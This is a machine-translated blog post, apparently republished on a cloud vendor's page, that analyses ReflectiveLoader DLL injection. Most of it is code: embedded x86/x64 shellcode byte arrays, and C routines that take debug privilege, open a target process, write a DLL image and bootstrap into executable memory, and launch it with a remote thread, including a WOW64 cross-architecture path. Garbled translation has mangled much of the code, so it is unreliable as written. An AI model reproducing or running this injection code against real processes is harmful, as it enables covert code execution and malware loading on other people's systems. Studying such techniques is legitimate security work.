Reflectiveloader Analysis (remote thread injection PE correction)

Source: Internet
Author: User
Tags goto

Downloaded from GitHub Reflectiverloader seriously learned a bit in the code to get some ideas and their thoughts, all follow the steps written in the code, and now share to everyone, such as wrong, hope everyone correct

Which need to inject the DLL and parse, the memory RVA and the file RVA conversion code (compiled with C + +) and parsing, shellcode assembly attached to the link

It's a shellocode.

function: After debugging, he is to solve the problem of running x64 under x86 (WinDbg can see that it is done by jumping far to x64)

Static BYTE __executexx64[] = "\x55\x89\xe5\x56\x57\x8b\x75\x08\x8b\x4d\x0c\xe8\x00\x00\x00\x00" "\x58\x83\xC0\x25\ X83\xec\x08\x89\xe2\xc7\x42\x04\x33\x00\x00\x00 "" \x89\x02\xe8\x09\x00\x00\x00\x83\xc4\x14\x5f\x5e\x5d\xc2\x08\ X00 "" \x8b\x3c\x24\xff\x2a\x48\x31\xc0\x57\xff\xd6\x5f\x50\xc7\x44\x24 "" \x04\x23\x00\x00\x00\x89\x3c\x24\xff\ x2c\x24 "; static BYTE __functionx64[] =" \xfc\x48\x89\xce\x48\x89\xe7\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00 "" \x41\x51 \x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48 "" \x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f \xb7\x4a\x4a "" \x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9 "" \x0D\x41\x01\xC1\xE2\xED\x52\ x41\x51\x48\x8b\x52\x20\x8b\x42\x3c "" \x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00 "" \x00\ x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40 "" \x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\ X88\x48\x01\xd6 "" \x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0 "" \x75\xF1\x4C\x03\x4C\x24\ X08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40 "" \x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0 "" \x41\x8B\x04 \x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58 "" \x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41 \x59\x5a "" \x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x4d\x31\xc9\x41\x51\x48\x8d "" \x46\x18\x50\xff\x76\x10\xff\x76\ x08\x41\x51\x41\x51\x49\xb8\x01 "" \x00\x00\x00\x00\x00\x00\x00\x48\x31\xd2\x48\x8b\x0e\x41\xba\xc8 "" \x38\xA4\ X40\xff\xd5\x48\x85\xc0\x74\x0c\x48\xb8\x00\x00\x00\x00 "" \x00\x00\x00\x00\xeb\x0a\x48\xb8\x01\x00\x00\x00\x00\ X00\x00\x00 "" \x48\x83\xc4\x50\x48\x89\xfc\xc3 ";

Two. Structure macro definition and hash value (using Makehanvalue to calculate the line, there is a small comment in the code)

#define MYFUNCTION_HASH0X6654BBA6//hash of "MYFUNCTION" enum {unknown,x86,x64}; #define Dereference   (Value) * (UINT _PTR *) (value) #define DEREFERENCE_64 (value) * (DWORD64 *) (value) #define DEREFERENCE_32 (value) * (DWORD *) (value) #define Dereference_16 (value) * (WORD *) (value) #define DEREFERENCE_8 (value) * (BYTE *) (value) typedef BOOL (WINAPI *lpfn_ iswow64process) (HANDLE, pbool); typedef BOOL (winapi* lpfn_functionx64) (DWORD parameterdata); typedef DWORD (winapi* lpfn_executex64) (lpfn_functionx64 FunctionX64, DWORD parameterdata); typedef struct _WOW64CONTEXT_{UNION{HANDLE ProcessHandle; BYTE   padding[8];} U1;union{lpvoid threadprocedure; BYTE   padding[8];} U2;union{lpvoid Parameterdata; BYTE   padding[8];} U3;union{handle Threadhandle; BYTE   padding[8];} U4;} Wow64context, *lpwow64context;

Three Parsing of the main function

Int main () {handle filehandle = NULL; ulong  filelength = 0; Lpvoid filedata = NULL; ulong  returnlength = 0; Handle processhandle = NULL; Handle remotethreadhandle = Null;dword  exitcode = 0;if  (Enablesedebugprivilege (L " SeDebugPrivilege ", TRUE) = = FALSE) {return 0;} Dword processid = 0;printf ("Input processid:\r\n"); scanf ("%d", &processid); #ifdef_WIN64char * Dllfullpath = " ReflectiveLoader.dll "; #elsechar * Dllfullpath =" ReflectiveLoader.dll "; #endif//1. open File FileHandle = Createfilea ( Dllfullpath, generic_read, 0, NULL, open_existing, file_attribute_normal, null);if  (FileHandle = INVALID_HANDLE_ VALUE) {printf ("Createfilea () error\r\n"); goto exit;} 2. Get Size Filelength = GetFileSize (FileHandle, NULL);if  (filelength = = invalid_file_size | | Filelength = = 0) {printf ("GetFileSize () error\r\n"); goto exit;} 3. Apply heap Memory Filedata = HeapAlloc (GetProcessHeap (), 0, filelength);if  (! FileData) {printf ("HeapAlloc () ErroR\r\n "); goto exit;} 4. Read Memory if  (ReadFile (FileHandle, FileData, Filelength, &returnlength, NULL) = = FALSE) {printf ("HeapAlloc () Error\r\n "); goto exit;} The following is the operation of the target//5. Open target Process ProcessHandle = OpenProcess (process_create_thread | process_query_information | process_vm_operation | process_vm_write | Process_vm_read,false, ProcessID);if  (! ProcessHandle) {printf ("openprocess () error\r\n"); goto exit;} 6. Load Dynamic Library Remotethreadhandle = Loadremotelibrary (ProcessHandle, FileData, Filelength, Null,myfunction_hash, (LPVOID) " 911 ", strlen (" 911 ") +1);if  (! Remotethreadhandle) {printf ("loadremotelibrary () error\r\n"); goto exit;} printf ("Loadremotelibrary () success\r\n")//7. Remote thread waiting for injection WaitForSingleObject (Remotethreadhandle, INFINITE);if  (! GetExitCodeThread (Remotethreadhandle, &exitcode)) printf ("Input AnyKey to exit\r\n"); GetChar ();//8. Free Memory Exit:if   (FileData) {HeapFree (GetProcessHeap (), 0, FileData);} if  (filehandle!=null)     {clOsehandle (FileHandle); FileHandle = null;    }if  (processhandle) {CloseHandle (processhandle); ProcessHandle = NULL;} return 0;}

Four. Interpretation of Loadremotelibrary (three ways to get the target architecture I took notes)

Handlewinapi loadremotelibrary (handleprocesshandle,lpvoidfiledata,   //dll file Data dwordfilelength, lpvoidparameterdata,dwordfunctionhash,//function Hash value lpvoiduserdata,dworduserdatalength) {handle  Remotethreadhandle = Null;dword  remotethreadid = 0;dword targetarchitecture = X86; Target architecture dword dllarchitecture = UNKNOWN; #ifdefined (_win64) dword currentarchitecture = X64; #elifdefined (_ WIN32) DWORD currentarchitecture=x86#else#endif__try{do{if  (! processhandle | | ! filedata | | ! Filelength) {break;} First act//1. The architecture process that obtains the target process obtains the architecture through the kernel hmodule kernelmodulebase = LoadLibraryA ("kernel32.dll");if  (! Kernelmodulebase) break;__iswow64process = (lpfn_iswow64process) GetProcAddress (kernelmodulebase, "iswow64process") ; FreeLibrary (kernelmodulebase);if  (__iswow64process) {bool isok;if  (!__IsWow64Process ( ProcessHandle, &isok)); {break;} if  (IsOK) {targetarchitecture = X86;} else{//the system to determine 32-bit and 64-bit system_info systeminfo = {0}; GeTnativesysteminfo (&systeminfo);if  (systeminfo.wprocessorarchitecture = = processor_architecture_amd64) Targetarchitecture = x64;elseif  (systeminfo.wprocessorarchitecture = = Processor_architecture_intel) Targetarchitecture = X86;elsebreak;}} 2. Obtain the ARCHITECTURE//MZ header +e_lfanew=nt Header pimage_nt_headers imagentheaders = (pimage_nt_headers) (( PUINT8) FileData) + ((pimage_dos_header) FileData)->e_lfanew);if  (imagentheaders->optionalheader.magic = = image_nt_optional_hdr32_magic)//pe32dllarchitecture = x86;elseif  (imagentheaders->optionalheader.magic = = image_nt_optional_hdr64_magic)//Pe64dllarchitecture = x64;//3. Determine if the DLL and the target process are the same schema?? if  (dllarchitecture! = targetarchitecture) {printf ("must be same architecture\r\n"); Act II//1. Re-check the loading//check of the dynamic library if the library has a reflectiveloader ... Dword reflectiveloaderoffset = Getreflectiveloaderoffset (FileData);if  (! Reflectiveloaderoffset) {printf ("Could not Get reflectiveloader offset\r\n"); BreAK;} Dword remotebufferlength = filelength+ userdatalength+ 64; Shellcode buffer//2.alloc Memory (RWX) in the host process for the image ... Lpvoid remotebufferdata = VirtualAllocEx (ProcessHandle, NULL, Remotebufferlength, mem_reserve | Mem_commit, Page_execute_readwrite);if  (! Remotebufferdata) {break;} printf ("VirtualAllocEx () success\r\n");//3.1 write the image into the host process ... Writes an image to the main process. Remotebufferdata pointer to the base address in the specified process that writes the data if  (! WriteProcessMemory (ProcessHandle, Remotebufferdata, FileData, Filelength, NULL)) break;//base address + offset ulong_ptr  Reflectiveloader = (ulong_ptr) Remotebufferdata + reflectiveloaderoffset;//3.2 write our UserData blob into the host Proces Sulong_ptr remoteuserdata = (ulong_ptr) Remotebufferdata + filelength;if  (! WriteProcessMemory (ProcessHandle, (LPVOID) Remoteuserdata, UserData, Userdatalength, NULL)) break;// 3.3 Write Shellcodeulong_ptr remoteshellcode = Remoteuserdata + userdatalength; BYTE&NBSP;BOOTSTRAP[64] = {0};D word Bootstraplength = Createbootstrap (Bootstrap,64,targetarchitecture, (ULONG_PTR) Parameterdata, (ULONG_PTR) Remotebufferdata,functionhash,remoteuserdata,userdatalength,reflectiveloader);if  (BootstrapLength <= 0) { break;} printf ("%p\r\n", Remoteshellcode); GetChar ();if  (! WriteProcessMemory (ProcessHandle, (LPVOID) Remoteshellcode, Bootstrap, Bootstraplength, NULL)) break;printf ("Wrote ShellCode success\r\n ");/* Write graph Remotebufferdata[filedata Base address here] to Filedataremoteuserdata[userdata's base address] Write Userdataremoteshellcode Write bootstrap*///Make sure our changes are written immediately flushinstructioncache (ProcessHandle, Remotebufferdata, Remotebufferlength);p rintf ("%p\r\n", Remoteshellcode); GetChar (); GetChar ();//third act to judge the position of the subject and the object and create the thread execution//target   Current 32if  (currentarchitecture = = x86 && Targetarchitecture = = X64) {Wow64createremotethread ( ProcessHandle, (LPVOID) Remoteshellcode, Parameterdata, &remotethreadhandle); ResumeThread (Remotethreadhandle);} else{//target   Current 32//target   current 64//target 64RemoteThreadHand   currentLe = CreateRemoteThread (ProcessHandle, NULL, 1024x768 * 1024x768, (lpthread_start_routine) Remoteshellcode, Parameterdata, ( DWORD) NULL, &remotethreadid),/*lpstartaddress [in] pointer to an application-defined function of type Lpthread_start_routine executed by the thread, and represents the start address of the thread in the remote process. The feature must exist in the remote process. Lpparameter [in] pointer to the variable to pass to the thread function. */}} while  (0);} __except  (exception_execute_handler) {remotethreadhandle = NULL;} Return remotethreadhandle;}

Five. Wow64createremotethread interpretation

Dword wow64createremotethread (Handleprocesshandle, Lpvoidthreadprocedure, Lpvoidparameterdata, HANDLE * Threadhandle) {dword result = ERROR_SUCCESS; lpfn_executex64  executex64 = NULL; lpfn_functionx64 functionx64 = NULL; wow64context*  wow64context = Null;osversioninfo  osversioninfo = {0};d o{//First act Determine if the system is suitable osversioninfo.dwosversioninfosize = sizeof (OSVERSIONINFO);if  (! GetVersionEx (&osversioninfo)) {printf ("GetVersionEx () error\r\n"); Filter out Windows 2003if  (osversioninfo.dwmajorversion = = 5 && osversioninfo.dwminorversion = = 2) { printf ("is 2003 error\r\n"); Act II//1. executex64,functionx64 application for Shellcode size of memory soldier assignment/*shellcode after debugging is done by jumping to the 64-bit process in a way to be ashamed of the blind tune again have not mastered the debugging method a bit difficult ... */executex64 = (lpfn_executex64) VirtualAlloc (NULL, sizeof (__executexx64), mem_reserve | Mem_commit, Page_execute_readwrite);if  (! ExecuteX64) {printf ("VirtualAlloc () error\r\n"); FunctionX64 = (lpfn_functionx64) VirtualAlloc (NULL,sizeof (__functionx64) + sizeof (wow64context), mem_reserve | Mem_commit, Page_execute_readwrite);if  (! FunctionX64) {printf ("VirtualAlloc () error\r\n"); Copy over the wow64->x64 stubmemcpy (ExecuteX64, &__executexx64, sizeof (__executexx64));//copy over the native X functionmemcpy (FunctionX64, &__functionx64, sizeof (__functionx64)),//2. Setting the upper and lower context Wow64context = (wow64context  *) ((byte *) FunctionX64 + sizeof (__functionx64)); Wow64context->u1. ProcessHandle   = ProcessHandle;   //the target process handle WOW64CONTEXT-&GT;U2. Threadprocedure = threadprocedure; Wow64context->u3. Parameterdata   = Parameterdata; Wow64context->u4. Threadhandle    = NULL;//3. The environment in which the code is executed is a 32-bit if  (! ExecuteX64 (FunctionX64, (DWORD) wow64context))  {printf ("ExecuteX64 () error\r\n"); As an identity if  (! Wow64context->u4. Threadhandle) {printf ("Threadhandle is null\r\n"); 4. Success! Fetches a new thread handle from the context *threadhandle = Wow64context->u4. ThreadhAndle;} while  (0);//5. Exit if  (ExecuteX64) {virtualfree (ExecuteX64, 0, mem_release); ExecuteX64 = NULL;} if  (FunctionX64) {virtualfree (FunctionX64, 0, mem_release); FunctionX64 = NULL;} Return result;}

Reflectiveloader Analysis (remote thread injection PE correction)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.